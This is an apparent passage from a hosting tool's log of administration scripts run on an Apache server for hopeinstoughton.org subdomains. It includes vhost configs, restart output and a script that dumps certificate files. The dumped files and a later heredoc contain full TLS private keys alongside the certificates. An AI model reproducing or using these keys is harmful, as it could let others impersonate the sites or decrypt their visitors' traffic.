    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf= 1'
fi


2025-11-03 06:01:11: 

chmod 755 /tmp/pkp484506; /tmp/pkp484506; rm /tmp/pkp484506

2025-11-03 06:01:12: 




2025-11-03 06:01:12: 

PUT: /tmp/pkp585198

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-03 06:01:12: 

chmod 755 /tmp/pkp585198; /tmp/pkp585198; rm /tmp/pkp585198

2025-11-03 06:01:12: 


.


2025-11-03 06:01:12: Establishing a connection
2025-11-03 06:01:13: 

PUT: /tmp/pkp526318

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-11-03 06:01:14: 

chmod 755 /tmp/pkp526318; /tmp/pkp526318; rm /tmp/pkp526318

2025-11-03 06:01:14: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:2)
         port 80 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:1)
         port 80 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:1)
         port 80 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:1)
         port 80 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:3)
*:443                  is a NameVirtualHost
         default server cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cdn3.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn3_org.conf:20)
         port 443 namevhost cygnus.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cygnus_org.conf:37)
         port 443 namevhost hymns.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_hymns_org.conf:22)
         port 443 namevhost mixer.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf:22)
         port 443 namevhost stoughton.hostz.org (/etc/apache2/sites-enabled/hostz_stoughton_us.conf:28)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2025-11-03 06:01:14: 

PUT: /tmp/pkp802271

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:01:15: 

chmod 755 /tmp/pkp802271; /tmp/pkp802271; rm /tmp/pkp802271

2025-11-03 06:01:15: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hopeinstoughton_mixer_org.conf	2161
<VirtualHost *:80>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.py
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	mixer.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7
    DocumentRoot	/var/www/hopeinstoughton_mixer
    <Directory /var/www/hopeinstoughton_mixer>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/mixer_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/mixer_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py
    
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} !-d
    RewriteCond	%{DOCUMENT_ROOT}%{REQUEST_URI} -f
    RewriteRule	^(.*) %{REQUEST_URI} [L]
    
    # if the cookie is missing, redirect to login site, with bounce parameter
    RewriteCond	%{HTTP_COOKIE} !\bauth=\b
    RewriteRule	^(.*)$ https://cygnus.hopeinstoughton.org/~/cygnus/login-mixer$1 [R=302,QSA,L]
    
    ProxyRequests	off
    ProxyVia	on
    
    RewriteEngine	On
    RewriteCond	%{HTTP:Connection} Upgrade [NC]
    RewriteCond	%{HTTP:Upgrade} websocket [NC]
    RewriteRule	/(.*) ws://192.168.1.8:80/$1 [P,L]
    
    ProxyPass	/ http://192.168.1.8/
    ProxyPassReverse	/ http://192.168.1.8/
    
</VirtualHost>







2025-11-03 06:01:15: 

PUT: /tmp/pkp994971

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-11-03 06:01:16: 

chmod 755 /tmp/pkp994971; /tmp/pkp994971; rm /tmp/pkp994971

2025-11-03 06:01:16: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/490fd86317cc9a7ba4710967bbbfc2a7	5378
8a:dc:40:15:0b:97:ea:a8:de:89:ed:1e:b6:9d:e2:fa

-----BEGIN CERTIFICATE-----
MIIFEDCCA/igAwIBAgISBtwwFXN1JRqwHZENRPtBH5XtMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMjM4WhcNMjYwMjAxMDUwMjM3WjAkMSIwIAYDVQQD
ExltaXhlci5ob3BlaW5zdG91Z2h0b24ub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOC
AQ8AMIIBCgKCAQEA2A+2DCL0kDq6q8+mJ31W2Rsf5acj6NImovE+G7/qNkiiE2H1
A7N2N+XMfUewQihRJmcAwEQseBG5BFzWw9PmHt8w3vBlOeD072228sTl9MJEcxan
NSJ4nnzqMu/o3HR6Ej744E2ri42LeVdO79SU8o3+G2/rDRE9hh9lJzuTteWH+ZlQ
HfJhCRO4jmpteDvFalYY13dmsHAMzs+Xc+e6fUMD2T62x68u9Pnd7pSWQnpbJJli
DtPBwYRdmjv4mjxbU1fF3UM9Qa5hH6HahaEOPkuiYuiJx0YLDZKMFntVvKAYnWKA
wqy1NJdZpVZbD3QH6gsmm+Nk3SBHP/r2G8dQnQIDAQABo4ICKzCCAicwDgYDVR0P
AQH/BAQDAgWgMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMB
Af8EAjAAMB0GA1UdDgQWBBSjBeqclzpSUXGMCjh9nDCQo5T64TAfBgNVHSMEGDAW
gBQAtSnyLY5vMeibTK14Pvrc6QzR0jAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUH
MAKGF2h0dHA6Ly9yMTIuaS5sZW5jci5vcmcvMCQGA1UdEQQdMBuCGW1peGVyLmhv
cGVpbnN0b3VnaHRvbi5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0fBCgw
JjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMTAuY3JsMIIBBQYKKwYB
BAHWeQIEAgSB9gSB8wDxAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd
+MMAAAGaSE4VdQAABAMASDBGAiEAr3XI46T2m5rXRazJZlWvoGVxXeRUn+IHdWv8
GfiO1oICIQDh5IpUXwfltQr/fIPROUNvd3KZEtFjXg61SXIXuPWzdQB2ABmG1Mco
qm/+ugNveCpNAZGqzi1yMQ+uzl1wQS0lTMfUAAABmkhOFXUAAAQDAEcwRQIgdoAc
a7hfK9n7wLk1fxH1GySw8qkSXOImUg+bWStQSrICIQDVmc858EKEiZtjOSJgVi6e
YywlhRe68nU5prt7C/DzqDANBgkqhkiG9w0BAQsFAAOCAQEABEfBSYbWuSYeNKsC
ih2yR/XVmF6EsO6VOUMWuK4CCdmEsQAA+wEJpgxhw4wSRS2BPb8UOI+IUnPtJ6vR
zR+gU/QiSzTPR5eHQ0L/1tSZsTnzOTOqoL5GJWSBovQrufwVBaK9tUNY3Xj1QsFs
UgJnilGug52mJCM8bf6tIN7dsuAC8aIPA6Uu7Slx04cNMxHb/Ds4Sk53AT51OkxJ
vV/EdL4VB9O9hEugKMqx1GTkZNRka5HroXiXxtYXiGt+2U9h0idsXvEk1mUaDXCv
tPFnJ25xZCSEgI5O4JR8YWxRD3Rb4Tri9Fe+CZGv8NRTdBdiXAZUG43Z49vDuebN
KPmbRg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDYD7YMIvSQOrqr
z6YnfVbZGx/lpyPo0iai8T4bv+o2SKITYfUDs3Y35cx9R7BCKFEmZwDARCx4EbkE
XNbD0+Ye3zDe8GU54PTvbbbyxOX0wkRzFqc1IniefOoy7+jcdHoSPvjgTauLjYt5
V07v1JTyjf4bb+sNET2GH2UnO5O15Yf5mVAd8mEJE7iOam14O8VqVhjXd2awcAzO
z5dz57p9QwPZPrbHry70+d3ulJZCelskmWIO08HBhF2aO/iaPFtTV8XdQz1BrmEf
odqFoQ4+S6Ji6InHRgsNkowWe1W8oBidYoDCrLU0l1mlVlsPdAfqCyab42TdIEc/
+vYbx1CdAgMBAAECggEAK7qCTdKFTOuV/E/6gOONQEONIR3C1swxpajNuTAOZw4s
P2AEBsu7kXSg/noT4k/mnK8cJ82kcmij2Y4wqVGpsXXankRpOF2fNRYvgNL496CZ
2fErxkVDxE/j1otXxcaNLkQwerU9kvEC2XwiLcgInU6/ry3nlK14ljykbFxSeO2s
IHqO2XWzitC7BklnN+t909FM/Jm9oHc8j8GS0IY+brhADwkj7T0HTViDImxmvgPo
67kcGHoSmw9JZZcePFx8wnZxzLAOj2djYMtLqNCxwYFuAnZMPRoTqXBInQSL6Hk+
50PTc79/AGmNVp7ry6Hxk6xf6yxwRuMhTF/A+DjuAQKBgQD/jAli8Hy3qVjJvUfQ
ozjO/N0lYW46dFQCNlgLfCj2AR4Lg1h6s00uiY0X9kq56EFneY4xLZa4NpcRaQLr
thATEqTL1+fIuL9offixvhJQHmBj2Ee74kg+3Hz33Scvb9yyZJvT6Sq2w4n4WfZN
WG6pjCfbeJId86EfFDh59v0R2QKBgQDYccGoPIDWJAxYSwctU+DiD02z4zkmK6Yi
jCaXC1V8IOrwKn0u/JYaKLn3KvEOfJpmjQzkkv3Tth+MBVzMSKL/FgWngmNEXyFA
u+9Tn8rBeqV2q0dGkmsZolcBl+DK82s/TWnTnOzJozj3D9kPDiXY2q9YRVs/ILUK
OfHIkte2ZQKBgQCXO8feTtZwVv9dvPAAUGhxTwKNecCjRW7mNEUc3uja1cRzKdM2
ImC99teSY8bLiOEUHMMC5aj58gyrWAtLdd7DetgebvMUPgnBDDQe9I6f7ao7zKZ/
UaZR1Wj7w1zKXRguVw5Fdgs6SDShzpPOKFStcG2yHAPVR/aFjxDxVTNl2QKBgEv9
fFE1lMIZ+9+Pz+BBH6YeW1h5wRm+n2BntjC3gPbIk9NoB3VUptpeTBQUFnfQlWDF
yq4BUW5f9alyRIdQRTGrqKaL55Acmg8hLEA+zK+rAKauMaL8Su/ACC3+BaUbWx7p
besmoBeW36wV+04G2JDPDlq+Vu/N6uHBQDr8GxHlAoGBALL7GseUyXwldW248Sjx
AdfFxpIDxaec/tSfZF7P8Uj+du68cTGB/xBc4jx84LIsia8716JngAMeOWFFvcGQ
yFqzrV7kLAO67yHWVgXk3lMnqqu7y6H3aOTW+0ZaEO9lLYKDLiuYZ+QszINmk4r6
yvU4uZSjDWtGnsJf/q0B/Mje
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-11-03 06:01:16: Establishing a connection
2025-11-03 06:01:17: Establishing a connection
2025-11-03 06:01:18: 

PUT: /tmp/pkp282428

#!/bin/bash
if [ -d "/var/www/cygnus/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-03 06:01:19: 

chmod 755 /tmp/pkp282428; /tmp/pkp282428; rm /tmp/pkp282428

2025-11-03 06:01:19: 


0


2025-11-03 06:01:44: Establishing a connection
2025-11-03 06:01:45: 

PUT: /tmp/pkp228494

#!/bin/bash
temp_file=$(mktemp)
TARGET=de5c0e727038623f544d9b5f10eaf734

cat > $temp_file <<'endmsg'
8c:0b:d4:f5:7c:b5:fc:7e:92:6e:1b:72:77:2b:c6:3f

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBpIQx/XDE7orjtnzp/Ygjna2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTAzMDUwMzEzWhcNMjYwMjAxMDUwMzEyWjAlMSMwIQYDVQQD
ExpjeWdudXMuaG9wZWluc3RvdWdodG9uLm9yZzCCASIwDQYJKoZIhvcNAQEBBQAD
ggEPADCCAQoCggEBAMsdki5+ZFY1t20BfhbA3v7egkddFeUCzSt7tuTZE0oYn0eF
rjI92hNOkbffZ/FtrTiLW7tDXm4nTOl7IHIA8Tw/JNp2HpmzY0Jekcj7d8U9uOVQ
ctcuEQycb0ZsAFYfxAX3h66Eku/k1lLk65uHVLuvnqQJ6qHL/XtOdLqRv4PEkH3A
Dp5PT8jWIuVtTOnriOcX4duCGkm6TG4engDwCPO/5kN19Am1hPIceI2Dht1ejc62
Xi5ztZRgYcZmekj6LqSpYl4BwVYbIzw8YEkWl06kdrNNwy0ve/5EhAe1yyJm/oaz
x4Xp7OFXge//muCeuUT/WmAJsP484JKUk1zW860CAwEAAaOCAigwggIkMA4GA1Ud
DwEB/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0T
AQH/BAIwADAdBgNVHQ4EFgQUeBFcvfCnSNEh7OcMTqsVFhId+p8wHwYDVR0jBBgw
FoAUALUp8i2ObzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUF
BzAChhdodHRwOi8vcjEyLmkubGVuY3Iub3JnLzAlBgNVHREEHjAcghpjeWdudXMu
aG9wZWluc3RvdWdodG9uLm9yZzATBgNVHSAEDDAKMAgGBmeBDAECATAuBgNVHR8E
JzAlMCOgIaAfhh1odHRwOi8vcjEyLmMubGVuY3Iub3JnLzU1LmNybDCCAQIGCisG
AQQB1nkCBAIEgfMEgfAA7gB1AEmcm2neHXzs/DbezYdkprhbrwqHgBnRVVL76esp
3fjDAAABmkhOoCMAAAQDAEYwRAIgMT+tXbcqmDA8ePoczSBwF8BqdklvCkqfTlA4
kxD8/RACIBJnp/QuCJUG/oGpiz5tJAjI9BbrnU8t+veotpv/VR4lAHUADleUvPOu
qT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGaSE6gOQAABAMARjBEAiB5vtmb
fDB0SPC2d5b/Tj6mCiPgN6NNlyNjZUqkx2lb4QIgBMDFGuamKuEPYsP341TQQQS1
Sdr5xlE27yLEHx0HeEUwDQYJKoZIhvcNAQELBQADggEBABBLCQUVNGyWtr7AHoFn
uzL+0EyyXxWzg8FEHAHNxap+Gw6Iao5f7D/9q2WuCtuBfncce02OLdvpraptvo7B
kbZ79JjhpjRFFzlf4k/ryvOchqanhwxq+1D3tTwRu3Jz1q+Ab+bIi3ZlO4nhcfS5
qW1fLDj30AZ/lS6liLRZL03V2fM1O6OHdJMdzEstbMt79jzI+asQA6TZTkeXz66c
SK8jqNNfkSoYbg8EQ4n+Ls6LtbBfw0c/unnfGf76oLQ0+UAl6lx6ZllywL4C+zoC
EmTsQBZkp83DEVVt5FoOztTxsCsz9YOGFAPfEIlzRB33gcODnDNt28nldGz71vPJ
TwE=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDLHZIufmRWNbdt
AX4WwN7+3oJHXRXlAs0re7bk2RNKGJ9Hha4yPdoTTpG332fxba04i1u7Q15uJ0zp
eyByAPE8PyTadh6Zs2NCXpHI+3fFPbjlUHLXLhEMnG9GbABWH8QF94euhJLv5NZS
5Oubh1S7r56kCeqhy/17TnS6kb+DxJB9wA6eT0/I1iLlbUzp64jnF+HbghpJukxu
Hp4A8Ajzv+ZDdfQJtYTyHHiNg4bdXo3Otl4uc7WUYGHGZnpI+i6kqWJeAcFWGyM8
PGBJFpdOpHazTcMtL3v+RIQHtcsiZv6Gs8eF6ezhV4Hv/5rgnrlE/1pgCbD+POCS
lJNc1vOtAgMBAAECggEBAKz4F76kP8nyoKuhc8Doqn4c+pDPQo/tnM8E4bFs8rJM
2YdM3hVG+ukqJYmSJLBCmBrpAkssicQAj8zc37p19vk5RKcNo+18CHFCm5+uFkbP
0x7lLYb1Yet9ZH1yB69QCdyS+OazW3YTSDj7XXDrBEt4uP40u6zhTJGvNFSVPaR1
Qa0z3YA9APaNV8nwWJWw22UxPoHTdQaoszgHFALGBkiViQp7RLHUXEE8XmbKH4kx
+LKVRA6ttdlM6mTFugqa9R20gJNmi4KfpKrFRhTSHpiRVNcicDUIqy9LkVwM209M
SuOpovWLQ1oakX4n1DO/HqTQBZgbHr9LqzRslWnIVgECgYEA6FAcn+4ViTinCRCW
+gkC8FheFQF6C5VtugXHzBBvi17y5N7ZG76/tlOpWEEcXUfe4S5EbVqlKLW/jRkv
ok64T7e4raXUEblmxZN2hjaXn1oEWk9Q3zmP+GENHzV2At85JVWqBqRIbSKnlmL4
oEg09SdiTC2XzbuTz/Zy+gkwHG0CgYEA39NXS1TVB9aQvPBeIguWqHliWJNh/sly
RwyUYJh33LZxUC3aDF5Urx4J4kbqHpsY3KsYo2PZPqXKutEMGSzwYSy6jPW4uQKV
5KSzK3Hul1KmYSNlq2V+6KW59Hgh0q7wQzmDL8VkbtAGwPPoTKiZYu1DeDq3bomz
qu8oIa2RLEECgYEAmT5XU4w6+pS7YrhlzzPok2DHVvXtavy8L+ymOk9RNU+BzEXQ
U4QFdKFFYSk6K7JALKxXiQc1UWBqpgnKKTfiTvuzQCDWfoada5F1qt0SMZSwsF4H
y+httvtWK5MZcJWNXbpfeRgfipZElGhe92QKQvki13tv2s90lsdMWvF6ohUCgYEA
v9MZ4nb+6GvMuhDrLBRwd00oqy8M8lbleNzgIXUqbN9zd7sEQEtsGnUNFX+fUMGt
6hk80XNWkal3eOqGiuEH1tCFxR8mxHDh1AYPhDFtwQTVkTTMArvGq061cz6uBill
wsd8lil/LLVexGmFcoWgh7c+dsEjyjl74Qh8hXiCjcECgYAXV0r9Q5yGZGsXNNRa
c1/dYN0IW6aQpz3sDlZrkdCAkb8XAV1WT+1HcGtmn+2eB2IYpBYRPJDg1zDAfAvT
Xa56GdT8QVos7fRaodmNtqd0S0GJt1zgSdBT9Kb4HJ5gus1M4dpWcQw26I2pDb72
5Xq+kNGX4s7zQwGf826H9yzWyw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
